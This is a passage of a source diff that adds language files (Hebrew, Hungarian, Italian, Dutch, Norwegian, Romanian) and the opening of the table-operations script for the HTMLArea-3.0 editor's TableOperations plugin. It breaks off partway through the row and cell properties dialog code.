+ "Borders": "גבולות",\r\r
+ "Bottom": "תחתון",\r\r
+ "CSS Style": "סגנון [CSS]",\r\r
+ "Caption": "כותרת",\r\r
+ "Cell Properties": "מאפייני תא",\r\r
+ "Center": "מרכז",\r\r
+ "Char": "תו",\r\r
+ "Collapsed borders": "גבולות קורסים",\r\r
+ "Color": "צבע",\r\r
+ "Description": "תיאור",\r\r
+ "FG Color": "צבע קידמה",\r\r
+ "Float": "מרחף",\r\r
+ "Frames": "מסגרות",\r\r
+ "Height": "גובה",\r\r
+ "How many columns would you like to merge?": "כמה טורים ברצונך למזג?",\r\r
+ "How many rows would you like to merge?": "כמה שורות ברצונך למזג?",\r\r
+ "Image URL": "URL התמונה",\r\r
+ "Justify": "ישור",\r\r
+ "Layout": "פריסה",\r\r
+ "Left": "שמאל",\r\r
+ "Margin": "שוליים",\r\r
+ "Middle": "אמצע",\r\r
+ "No rules": "ללא קווים",\r\r
+ "No sides": "ללא צדדים",\r\r
+ "None": "אין",\r\r
+ "Padding": "ריווח בשוליים",\r\r
+ "Please click into some cell": "אנא לחץ על תא כלשהו",\r\r
+ "Right": "ימין",\r\r
+ "Row Properties": "מאפייני שורה",\r\r
+ "Rules will appear between all rows and columns": "קווים יופיעו בין כל השורות והטורים",\r\r
+ "Rules will appear between columns only": "קווים יופיעו בין טורים בלבד",\r\r
+ "Rules will appear between rows only": "קווים יופיעו בין שורות בלבד",\r\r
+ "Rules": "קווים",\r\r
+ "Spacing and padding": "ריווח ושוליים",\r\r
+ "Spacing": "ריווח",\r\r
+ "Summary": "סיכום",\r\r
+ "TO-cell-delete": "מחק תא",\r\r
+ "TO-cell-insert-after": "הכנס תא אחרי",\r\r
+ "TO-cell-insert-before": "הכנס תא לפני",\r\r
+ "TO-cell-merge": "מזג תאים",\r\r
+ "TO-cell-prop": "מאפייני תא",\r\r
+ "TO-cell-split": "פצל תא",\r\r
+ "TO-col-delete": "מחק טור",\r\r
+ "TO-col-insert-after": "הכנס טור אחרי",\r\r
+ "TO-col-insert-before": "הכנס טור לפני",\r\r
+ "TO-col-split": "פצל טור",\r\r
+ "TO-row-delete": "מחק שורה",\r\r
+ "TO-row-insert-above": "הכנס שורה לפני",\r\r
+ "TO-row-insert-under": "הכנס שורה אחרי",\r\r
+ "TO-row-prop": "מאפייני שורה",\r\r
+ "TO-row-split": "פצל שורה",\r\r
+ "TO-table-prop": "מאפייני טבלה",\r\r
+ "Table Properties": "מאפייני טבלה",\r\r
+ "Text align": "ישור טקסט",\r\r
+ "The bottom side only": "הצד התחתון בלבד",\r\r
+ "The left-hand side only": "הצד השמאלי בלבד",\r\r
+ "The right and left sides only": "הצדדים הימני והשמאלי בלבד",\r\r
+ "The right-hand side only": "הצד הימני בלבד",\r\r
+ "The top and bottom sides only": "הצדדים העליון והתחתון בלבד",\r\r
+ "The top side only": "הצד העליון בלבד",\r\r
+ "Top": "עליון", \r\r
+ "Unset color": "צבע לא נבחר",\r\r
+ "Vertical align": "יישור אנכי",\r\r
+ "Width": "רוחב",\r\r
+ "not-del-last-cell": "HTMLArea מסרב בפחדנות למחוק את התא האחרון בשורה.",\r\r
+ "not-del-last-col": "HTMLArea מסרב בפחדנות למחוק את הטור האחרון בטבלה.",\r\r
+ "not-del-last-row": "HTMLArea מסרב בפחדנות למחוק את השורה האחרונה בטבלה.",\r\r
+ "percent": "אחוז",\r\r
+ "pixels": "פיקסלים"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+TableOperations.I18N = {
+ "Align": "Allinea",
+ "All four sides": "Tutti e quattro i lati",
+ "Background": "Sfondo",
+ "Baseline": "Allineamento",
+ "Border": "Bordo",
+ "Borders": "Bordi",
+ "Bottom": "Basso",
+ "CSS Style": "Stile [CSS]",
+ "Caption": "Titolo",
+ "Cell Properties": "Proprietà della Cella",
+ "Center": "Centra",
+ "Char": "Carattere",
+ "Collapsed borders": "Bordi chiusi",
+ "Color": "Colore",
+ "Description": "Descrizione",
+ "FG Color": "Colore Principale",
+ "Float": "Fluttuante",
+ "Frames": "Frames",
+ "Height": "Altezza",
+ "How many columns would you like to merge?": "Quante colonne vuoi unire?",
+ "How many rows would you like to merge?": "Quante righe vuoi unire?",
+ "Image URL": "URL dell'Immagine",
+ "Justify": "Justifica",
+ "Layout": "Layout",
+ "Left": "Sinistra",
+ "Margin": "Margine",
+ "Middle": "Centrale",
+ "No rules": "Nessun righello",
+ "No sides": "Nessun lato",
+ "None": "Nulla",
+ "Padding": "Padding",
+ "Please click into some cell": "Per favore, clicca in una cella",
+ "Right": "Destra",
+ "Row Properties": "Proprietà della Riga",
+ "Rules will appear between all rows and columns": "Le linee appariranno tra tutte le righe e colonne",
+ "Rules will appear between columns only": "Le linee appariranno solo tra le colonne",
+ "Rules will appear between rows only": "Le linee appariranno solo tra le righe",
+ "Rules": "Linee",
+ "Spacing and padding": "Spaziatura e Padding",
+ "Spacing": "Spaziatura",
+ "Summary": "Sommario",
+ "TO-cell-delete": "Cancella cella",
+ "TO-cell-insert-after": "Inserisci cella dopo",
+ "TO-cell-insert-before": "Inserisci cella prima",
+ "TO-cell-merge": "Unisci celle",
+ "TO-cell-prop": "Proprietà della cella",
+ "TO-cell-split": "Dividi cella",
+ "TO-col-delete": "Cancella colonna",
+ "TO-col-insert-after": "Inserisci colonna dopo",
+ "TO-col-insert-before": "Inserisci colonna prima",
+ "TO-col-split": "Dividi colonna",
+ "TO-row-delete": "Cancella riga",
+ "TO-row-insert-above": "Inserisci riga prima",
+ "TO-row-insert-under": "Inserisci riga dopo",
+ "TO-row-prop": "Proprietà della riga",
+ "TO-row-split": "Dividi riga",
+ "TO-table-prop": "Proprietà della Tabella",
+ "Table Properties": "Proprietà della Tabella",
+ "Text align": "Allineamento del Testo",
+ "The bottom side only": "Solo la parte inferiore",
+ "The left-hand side only": "Solo la parte sinistra",
+ "The right and left sides only": "Solo destra e sinistra",
+ "The right-hand side only": "Solo la parte destra",
+ "The top and bottom sides only": "Solo sopra e sotto",
+ "The top side only": "Solo la parte sopra",
+ "Top": "Alto",
+ "Unset color": "Rimuovi colore",
+ "Vertical align": "Allineamento verticale",
+ "Width": "Larghezza",
+ "not-del-last-cell": "HTMLArea si rifiuta codardamente di cancellare l'ultima cella nella riga.",
+ "not-del-last-col": "HTMLArea si rifiuta codardamente di cancellare l'ultima colonna nella tabella.",
+ "not-del-last-row": "HTMLArea si rifiuta codardamente di cancellare l'ultima riga nella tabella.",
+ "percent": "percento",
+ "pixels": "pixels"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Uitlijning",\r\r
+ "All four sides": "Alle 4 zijden",\r\r
+ "Background": "Achtergrond",\r\r
+ "Baseline": "Basis",\r\r
+ "Border": "Rand",\r\r
+ "Borders": "Randen",\r\r
+ "Bottom": "Onder",\r\r
+ "CSS Style": "CSS Style",\r\r
+ "Caption": "Opmerking",\r\r
+ "Cell Properties": "Celeigenschappen",\r\r
+ "Center": "Centreren",\r\r
+ "Char": "Karakter",\r\r
+ "Collapsed borders": "Geen randen",\r\r
+ "Color": "Kleur",\r\r
+ "Description": "Omschrijving",\r\r
+ "FG Color": "Voorgrond",\r\r
+ "Float": "Zwevend",\r\r
+ "Frames": "Frames",\r\r
+ "Height": "Hoogte",\r\r
+ "How many columns would you like to merge?": "Hoeveel kolommen wilt u samenvoegen?",\r\r
+ "How many rows would you like to merge?": "Hoeveel rijen wilt u samenvoegen?",\r\r
+ "Image URL": "Afbeelding URL",\r\r
+ "Justify": "Uitvullen",\r\r
+ "Layout": "Opmaak",\r\r
+ "Left": "Links",\r\r
+ "Margin": "Marge",\r\r
+ "Middle": "Midden",\r\r
+ "No rules": "Geen regels",\r\r
+ "No sides": "Geen zijlijnen",\r\r
+ "None": "Geen",\r\r
+ "Padding": "Celmarge",\r\r
+ "Please click into some cell": "Klik in een cel a.u.b.",\r\r
+ "Right": "Rechts",\r\r
+ "Row Properties": "Rijeigenschappen",\r\r
+ "Rules will appear between all rows and columns": "Regels verschijnen tussen alle rijen en kolommen",\r\r
+ "Rules will appear between columns only": "Regels verschijnen enkel tussen de kolommen",\r\r
+ "Rules will appear between rows only": "Regels verschijnen enkel tussen de rijen",\r\r
+ "Rules": "Regels",\r\r
+ "Spacing and padding": "Celmarge en afstand tussen cellen",\r\r
+ "Spacing": "marge",\r\r
+ "Summary": "Overzicht",\r\r
+ "TO-cell-delete": "Cel verwijderen",\r\r
+ "TO-cell-insert-after": "Voeg cel toe achter",\r\r
+ "TO-cell-insert-before": "Voeg cel toe voor",\r\r
+ "TO-cell-merge": "Cellen samenvoegen",\r\r
+ "TO-cell-prop": "Celeigenschappen",\r\r
+ "TO-cell-split": "Cel splitsen",\r\r
+ "TO-col-delete": "Kolom verwijderen",\r\r
+ "TO-col-insert-after": "Kolom invoegen achter",\r\r
+ "TO-col-insert-before": "Kolom invoegen voor",\r\r
+ "TO-col-split": "Kolom splitsen",\r\r
+ "TO-row-delete": "Rij verwijderen",\r\r
+ "TO-row-insert-above": "Rij invoegen boven",\r\r
+ "TO-row-insert-under": "Rij invoegen onder",\r\r
+ "TO-row-prop": "Rij eigenschappen",\r\r
+ "TO-row-split": "Rij splitsen",\r\r
+ "TO-table-prop": "Tabel eigenschappen",\r\r
+ "Table Properties": "Tabel eigenschappen",\r\r
+ "Text align": "Text uitlijning",\r\r
+ "The bottom side only": "Enkel aan de onderkant",\r\r
+ "The left-hand side only": "Enkel aan de linkerkant",\r\r
+ "The right and left sides only": "Enkel aan de linker en rechterkant",\r\r
+ "The right-hand side only": "Enkel aan de rechterkant",\r\r
+ "The top and bottom sides only": "Enkel aan de bovenen onderkant",\r\r
+ "The top side only": "Enkel aan de bovenkant",\r\r
+ "Top": "Boven",\r\r
+ "Unset color": "Wis kleur",\r\r
+ "Vertical align": "Vertikale uitlijning",\r\r
+ "Width": "Breedte",\r\r
+ "not-del-last-cell": "HTMLArea kan de laatste cel in deze tabel niet verwijderen.",\r\r
+ "not-del-last-col": "HTMLArea kan de laatste kolom in deze tabel niet verwijderen.",\r\r
+ "not-del-last-row": "HTMLArea kan de laatste rij in deze tabel niet verwijderen.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixels"\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, <mishoo@infoiasi.ro>\r\r
+// translated into Norwegia: ses@online.no 11.11.03\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Juster",\r\r
+ "All four sides": "Alle fire sider",\r\r
+ "Background": "Bakgrund",\r\r
+ "Baseline": "Grunnlinje",\r\r
+ "Border": "Kantlinje",\r\r
+ "Borders": "Kantlinjer",\r\r
+ "Bottom": "Bunn",\r\r
+ "CSS Style": "Stil [CSS]",\r\r
+ "Caption": "Overskrift",\r\r
+ "Cell Properties": "Celleegenskaper",\r\r
+ "Center": "Sentrer",\r\r
+ "Char": "Tegn",\r\r
+ "Collapsed borders": "Fjern kantlinjer",\r\r
+ "Color": "Farge",\r\r
+ "Description": "Beskrivelse",\r\r
+ "FG Color": "FG farge",\r\r
+ "Float": "Flytende",\r\r
+ "Frames": "rammer",\r\r
+ "Height": "Høyde",\r\r
+ "How many columns would you like to merge?": "Hvor mange kolonner vil du slå sammen?",\r\r
+ "How many rows would you like to merge?": "Hvor mange rader vil du slå sammen?",\r\r
+ "Image URL": "Bildets URL",\r\r
+ "Justify": "Juster",\r\r
+ "Layout": "Layout",\r\r
+ "Left": "Venstre",\r\r
+ "Margin": "Marg",\r\r
+ "Middle": "Midten",\r\r
+ "No rules": "Ingen linjal",\r\r
+ "No sides": "Ingen sider",\r\r
+ "None": "Ingen",\r\r
+ "Padding": "Luft",\r\r
+ "Please click into some cell": "Klikk i en eller annen celle",\r\r
+ "Right": "Høyre",\r\r
+ "Row Properties": "Egenskaper for rad",\r\r
+ "Rules will appear between all rows and columns": "Linjer vil synes mellom alle rader og kolonner",\r\r
+ "Rules will appear between columns only": "Linjer vil synes kun mellom kolonner",\r\r
+ "Rules will appear between rows only": "Linjer vil synes kun mellom rader",\r\r
+ "Rules": "Linjer",\r\r
+ "Spacing and padding": "Luft",\r\r
+ "Spacing": "Luft",\r\r
+ "Summary": "Sammendrag",\r\r
+ "TO-cell-delete": "Slett celle",\r\r
+ "TO-cell-insert-after": "Sett inn celle etter",\r\r
+ "TO-cell-insert-before": "Sett inn celle foran",\r\r
+ "TO-cell-merge": "Slå sammen celler",\r\r
+ "TO-cell-prop": "Egenskaper for celle",\r\r
+ "TO-cell-split": "Del celle",\r\r
+ "TO-col-delete": "Slett kolonne",\r\r
+ "TO-col-insert-after": "Skyt inn kolonne etter",\r\r
+ "TO-col-insert-before": "Skyt inn kolonne før",\r\r
+ "TO-col-split": "Del kolonne",\r\r
+ "TO-row-delete": "Slett rad",\r\r
+ "TO-row-insert-above": "Skyt inn rad foran",\r\r
+ "TO-row-insert-under": "Skyt inn rad etter",\r\r
+ "TO-row-prop": "Egenskaper for rad",\r\r
+ "TO-row-split": "Del rad",\r\r
+ "TO-table-prop": "Tabellegenskaper",\r\r
+ "Table Properties": "Tabellegenskaper",\r\r
+ "Text align": "Juster tekst",\r\r
+ "The bottom side only": "Bunnen kun",\r\r
+ "The left-hand side only": "Venstresiden kun",\r\r
+ "The right and left sides only": "Høyre- og venstresiden kun",\r\r
+ "The right-hand side only": "Høyresiden kun",\r\r
+ "The top and bottom sides only": "The top and bottom sides only",\r\r
+ "The top side only": "Overkanten kun",\r\r
+ "Top": "Overkant", \r\r
+ "Unset color": "Ikke-bestemt farge",\r\r
+ "Vertical align": "Vertikal justering",\r\r
+ "Width": "Bredde",\r\r
+ "not-del-last-cell": "HTMLArea nekter å slette siste cellen i tabellen.",\r\r
+ "not-del-last-col": "HTMLArea nekter å slette siste kolonnen i tabellen.",\r\r
+ "not-del-last-row": "HTMLArea nekter å slette siste raden i tabellen.",\r\r
+ "percent": "prosent",\r\r
+ "pixels": "billedpunkter"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Aliniere",
+ "All four sides": "Toate părţile",
+ "Background": "Fundal",
+ "Baseline": "Baseline",
+ "Border": "Chenar",
+ "Borders": "Chenare",
+ "Bottom": "Jos",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titlu de tabel",
+ "Cell Properties": "Proprietăţile celulei",
+ "Center": "Centru",
+ "Char": "Caracter",
+ "Collapsed borders": "Chenare asimilate",
+ "Color": "Culoare",
+ "Description": "Descriere",
+ "FG Color": "Culoare text",
+ "Float": "Poziţie",
+ "Frames": "Chenare",
+ "Height": "Înălţimea",
+ "How many columns would you like to merge?": "Câte coloane vrei să uneşti?",
+ "How many rows would you like to merge?": "Câte linii vrei să uneşti?",
+ "Image URL": "URL-ul imaginii",
+ "Justify": "Justify",
+ "Layout": "Aranjament",
+ "Left": "Stânga",
+ "Margin": "Margine",
+ "Middle": "Mijloc",
+ "No rules": "Fără linii",
+ "No sides": "Fără părţi",
+ "None": "Nimic",
+ "Padding": "Spaţiere",
+ "Please click into some cell": "Vă rog să daţi click într-o celulă",
+ "Right": "Dreapta",
+ "Row Properties": "Proprietăţile liniei",
+ "Rules will appear between all rows and columns": "Vor apărea linii între toate rândurile şi coloanele",
+ "Rules will appear between columns only": "Vor apărea doar linii verticale",
+ "Rules will appear between rows only": "Vor apărea doar linii orizontale",
+ "Rules": "Linii",
+ "Spacing and padding": "Spaţierea",
+ "Spacing": "Între celule",
+ "Summary": "Sumar",
+ "TO-cell-delete": "Şterge celula",
+ "TO-cell-insert-after": "Inserează o celulă la dreapta",
+ "TO-cell-insert-before": "Inserează o celulă la stânga",
+ "TO-cell-merge": "Uneşte celulele",
+ "TO-cell-prop": "Proprietăţile celulei",
+ "TO-cell-split": "Împarte celula",
+ "TO-col-delete": "Şterge coloana",
+ "TO-col-insert-after": "Inserează o coloană la dreapta",
+ "TO-col-insert-before": "Inserează o coloană la stânga",
+ "TO-col-split": "Împarte coloana",
+ "TO-row-delete": "Şterge rândul",
+ "TO-row-insert-above": "Inserează un rând înainte",
+ "TO-row-insert-under": "Inserează un rând după",
+ "TO-row-prop": "Proprietăţile rândului",
+ "TO-row-split": "Împarte rândul",
+ "TO-table-prop": "Proprietăţile tabelei",
+ "Table Properties": "Proprietăţile tabelei",
+ "Text align": "Aliniere",
+ "The bottom side only": "Doar partea de jos",
+ "The left-hand side only": "Doar partea din stânga",
+ "The right and left sides only": "Partea din stânga şi cea din dreapta",
+ "The right-hand side only": "Doar partea din dreapta",
+ "The top and bottom sides only": "Partea de sus si cea de jos",
+ "The top side only": "Doar partea de sus",
+ "Top": "Sus",
+ "Unset color": "Dezactivează culoarea",
+ "Vertical align": "Aliniere pe verticală",
+ "Width": "Lăţime",
+ "not-del-last-cell": "HTMLArea refuză cu laşitate să şteargă ultima celulă din rând.",
+ "not-del-last-col": "HTMLArea refuză cu laşitate să şteargă ultima coloamă din tabela.",
+ "not-del-last-row": "HTMLArea refuză cu laşitate să şteargă ultimul rând din tabela.",
+ "percent": "procente",
+ "pixels": "pixeli"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+// Table Operations Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://www.bloki.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: table-operations.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Object that will encapsulate all the table operations provided by
+// HTMLArea-3.0 (except "insert table" which is included in the main file)
+function TableOperations(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = TableOperations.I18N;
+ var bl = TableOperations.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = ["linebreak"];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "TO-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "TableOperations"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ // add a new line in the toolbar
+ cfg.toolbar.push(toolbar);
+};
+
+TableOperations._pluginInfo = {
+ name : "TableOperations",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Zapatec Inc.",
+ sponsor_url : "http://www.bloki.com",
+ license : "htmlArea"
+};
+
+/************************
+ * UTILITIES
+ ************************/
+
+// retrieves the closest element having the specified tagName in the list of
+// ancestors of the current selection/caret.
+TableOperations.prototype.getClosest = function(tagName) {
+ var editor = this.editor;
+ var ancestors = editor.getAllAncestors();
+ var ret = null;
+ tagName = ("" + tagName).toLowerCase();
+ for (var i in ancestors) {
+ var el = ancestors[i];
+ if (el.tagName.toLowerCase() == tagName) {
+ ret = el;
+ break;
+ }
+ }
+ return ret;
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogTableProperties = function() {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(table);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n["Table Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, table);
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_caption":
+ if (/\S/.test(val)) {
+ // contains non white-space characters
+ var caption = table.getElementsByTagName("caption")[0];
+ if (!caption) {
+ caption = dialog.editor._doc.createElement("caption");
+ table.insertBefore(caption, table.firstChild);
+ }
+ caption.innerHTML = val;
+ } else {
+ // search for caption and delete it if found
+ var caption = table.getElementsByTagName("caption")[0];
+ if (caption) {
+ caption.parentNode.removeChild(caption);
+ }
+ }
+ break;
+ case "f_summary":
+ table.summary = val;
+ break;
+ case "f_width":
+ table.style.width = ("" + val) + params.f_unit;
+ break;
+ case "f_align":
+ table.align = val;
+ break;
+ case "f_spacing":
+ table.cellSpacing = val;
+ break;
+ case "f_padding":
+ table.cellPadding = val;
+ break;
+ case "f_borders":
+ table.border = val;
+ break;
+ case "f_frames":
+ table.frame = val;
+ break;
+ case "f_rules":
+ table.rules = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_caption = "";
+ var capel = table.getElementsByTagName("caption")[0];
+ if (capel) {
+ f_caption = capel.innerHTML;
+ }
+ var f_summary = table.summary;
+ var f_width = parseInt(table.style.width);
+ isNaN(f_width) && (f_width = "");
+ var f_unit = /%/.test(table.style.width) ? 'percent' : 'pixels';
+ var f_align = table.align;
+ var f_spacing = table.cellSpacing;
+ var f_padding = table.cellPadding;
+ var f_borders = table.border;
+ var f_frames = table.frame;
+ var f_rules = table.rules;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "400px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL("table-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n["Table Properties"] + "\
+</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Description"] + "</legend> \
+ <table style='width:100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Caption"] + ":</td> \
+ <td class='value'><input type='text' name='f_caption' value='" + f_caption + "'/></td> \
+ </tr><tr> \
+ <td class='label'>" + i18n["Summary"] + ":</td> \
+ <td class='value'><input type='text' name='f_summary' value='" + f_summary + "'/></td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr><td id='--HA-layout'></td></tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Spacing and padding"] + "</legend> \
+ <table style='width:100%'> \
+"+// <tr> \
+// <td class='label'>" + i18n["Width"] + ":</td> \
+// <td><input type='text' name='f_width' value='" + f_width + "' size='5' /> \
+// <select name='f_unit'> \
+// <option value='%'" + selected(f_unit == "percent") + ">" + i18n["percent"] + "</option> \
+// <option value='px'" + selected(f_unit == "pixels") + ">" + i18n["pixels"] + "</option> \
+// </select> " + i18n["Align"] + ": \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+" <tr> \
+ <td class='label'>" + i18n["Spacing"] + ":</td> \
+ <td><input type='text' name='f_spacing' size='5' value='" + f_spacing + "' /> " + i18n["Padding"] + ":\
+ <input type='text' name='f_padding' size='5' value='" + f_padding + "' /> " + i18n["pixels"] + "\
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>Frame and borders</legend> \
+ <table width='100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Borders"] + ":</td> \
+ <td><input name='f_borders' type='text' size='5' value='" + f_borders + "' /> " + i18n["pixels"] + "</td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Frames"] + ":</td> \
+ <td> \
+ <select name='f_frames'> \
+ <option value='void'" + selected(f_frames == "void") + ">" + i18n["No sides"] + "</option> \
+ <option value='above'" + selected(f_frames == "above") + ">" + i18n["The top side only"] + "</option> \
+ <option value='below'" + selected(f_frames == "below") + ">" + i18n["The bottom side only"] + "</option> \
+ <option value='hsides'" + selected(f_frames == "hsides") + ">" + i18n["The top and bottom sides only"] + "</option> \
+ <option value='vsides'" + selected(f_frames == "vsides") + ">" + i18n["The right and left sides only"] + "</option> \
+ <option value='lhs'" + selected(f_frames == "lhs") + ">" + i18n["The left-hand side only"] + "</option> \
+ <option value='rhs'" + selected(f_frames == "rhs") + ">" + i18n["The right-hand side only"] + "</option> \
+ <option value='box'" + selected(f_frames == "box") + ">" + i18n["All four sides"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Rules"] + ":</td> \
+ <td> \
+ <select name='f_rules'> \
+ <option value='none'" + selected(f_rules == "none") + ">" + i18n["No rules"] + "</option> \
+ <option value='rows'" + selected(f_rules == "rows") + ">" + i18n["Rules will appear between rows only"] + "</option> \
+ <option value='cols'" + selected(f_rules == "cols") + ">" + i18n["Rules will appear between columns only"] + "</option> \
+ <option value='all'" + selected(f_rules == "all") + ">" + i18n["Rules will appear between all rows and columns"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, table);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, table);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogRowCellProperties = function(cell) {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var element = this.getClosest(cell ? "td" : "tr");
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(element);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n[cell ? "Cell Properties" : "Row Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, element);
